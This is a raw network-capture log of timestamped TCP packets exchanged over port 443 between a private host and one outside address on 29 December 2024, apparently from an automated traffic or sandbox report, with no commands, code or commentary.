Dec 29, 2024 08:55:58.874495029 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:58.877223969 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:58.877293110 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:58.880822897 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:58.880902052 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:58.883594990 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:58.883658886 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:58.886560917 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:58.886622906 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:58.889228106 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:58.889295101 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:58.892843962 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:58.892908096 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:58.895694017 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:58.895755053 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:58.898497105 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:58.898567915 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:58.902067900 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:58.902133942 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:58.904844999 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:58.904907942 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:58.907768011 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:58.907835960 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:58.910547018 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:58.910614967 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:58.914113998 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:58.914180040 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:58.916887999 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:58.916954994 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:58.920178890 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:58.920248032 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:58.923005104 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:58.923069000 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.060288906 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.060376883 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.062784910 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.062840939 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.065524101 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.065589905 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.068181038 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.068267107 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.071583033 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.071657896 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.074328899 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.074393988 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.076957941 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.077023029 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.080389023 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.080451012 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.083170891 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.083246946 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.085797071 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.085877895 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.088776112 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.088852882 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.091500044 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.091567993 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.094146013 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.094211102 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.097557068 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.097632885 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.100312948 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.100394011 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.103014946 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.103090048 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.106523991 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.106595039 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.262743950 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.262880087 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.266211033 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.266284943 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.537668943 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.537679911 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.537765980 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.538171053 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.538238049 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.538484097 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.538547039 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.538574934 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.538630009 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.539330006 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.539391041 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.540067911 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.540110111 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.540128946 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.540141106 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.540157080 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.540184975 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.541021109 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.541085005 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.541970968 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.542006969 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.542032003 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.542037010 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.542053938 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.542073011 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.542876959 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.542920113 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.542941093 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.542946100 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.542974949 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.542987108 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.543812037 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.543873072 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.544600964 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.544661045 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.545768023 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.545803070 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.545826912 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.545831919 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.545846939 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.545867920 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.546614885 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.546677113 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.546684027 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.546737909 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.547657967 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.547696114 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.547719002 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.547724962 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.547755957 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.547770977 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.548527002 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.548573971 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.548585892 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.548589945 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.548629999 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.549599886 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.549643040 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.549664021 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.549668074 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.549701929 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.549721003 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.550481081 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.550535917 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.550544024 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.550549030 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.550582886 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.550594091 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.551579952 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.551614046 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.551641941 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.551646948 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.551681042 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.551700115 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.552376032 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.552434921 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.553251982 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.553316116 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.664078951 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.664227962 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.666961908 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.667032003 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.669578075 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.669665098 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.672363043 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.672429085 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.674963951 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.675024986 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.678371906 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.678440094 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.681040049 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.681117058 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.683789015 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.683850050 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.687212944 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.687273979 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.689817905 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.689881086 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.692903996 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.692966938 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.695569992 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.695627928 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.698327065 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.698390961 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.700953960 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.701013088 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.704358101 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.704418898 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.707098007 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.707159996 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.709750891 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.709811926 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.866595030 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.866723061 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.869999886 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.870058060 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.872555017 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.872615099 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.875335932 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.875416994 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.877989054 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.878062010 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.881354094 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.881422043 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.884150028 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.884217024 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.886722088 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.886786938 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.890275955 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.890360117 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.892517090 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.892585993 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.895894051 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.895967960 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.898540974 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.898617983 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.901369095 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.901442051 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.904011011 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.904076099 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.905076981 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.905921936 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.907342911 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.907402039 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:55:59.910103083 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:55:59.910165071 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.067060947 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.067153931 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.070409060 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.070476055 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.073142052 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.073210955 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.075792074 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.075853109 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.079222918 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.079287052 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.081814051 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.081882954 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.084553003 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.084631920 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.087523937 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.087584019 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.090689898 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.090751886 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.093269110 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.093348026 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.096364021 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.096434116 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.099133968 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.099200010 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.101775885 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.101840019 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.105166912 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.105227947 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.107815027 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.107872963 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.110622883 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.110696077 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.267988920 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.268073082 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.270901918 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.270972013 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.273612022 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.273678064 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.276293993 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.276365042 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.279882908 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.279953003 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.282327890 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.282398939 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.285033941 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.285109043 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.287705898 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.287769079 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.291156054 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.291227102 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.293772936 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.293833017 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.296839952 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.296905041 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.299513102 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.299578905 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.302280903 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.302345991 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.305680990 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.305743933 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.308290958 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.308382988 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.311300993 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.311367035 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.313765049 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.313824892 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.471364975 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.471450090 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.473922014 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.474013090 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.476769924 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.476846933 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.479408979 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.479484081 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.482732058 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.482809067 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.485507965 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.485574007 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.488142014 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.488209963 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.491568089 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.491636038 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.494220972 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.494312048 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.497265100 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.497333050 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.499921083 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.499999046 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.502665043 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.502737999 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.505292892 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.505371094 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.508713007 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.508778095 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.511439085 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.511506081 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.514115095 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.514183044 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.671827078 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.672013044 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.674393892 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.674484968 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.677161932 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.677236080 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.679790974 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.679858923 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.683226109 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.683290005 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.685873032 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.685940027 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.688647985 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.688714027 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.691237926 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.691308022 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.694633007 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.694696903 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.697738886 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.697803974 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.700378895 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.700440884 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.703197002 CET	443	49707	92.205.3.41	192.168.2.7
Dec 29, 2024 08:56:00.703258991 CET	49707	443	192.168.2.7	92.205.3.41
Dec 29, 2024 08:56:00.705753088 CET	443	49707	92.205.3.41	192.168.2.7
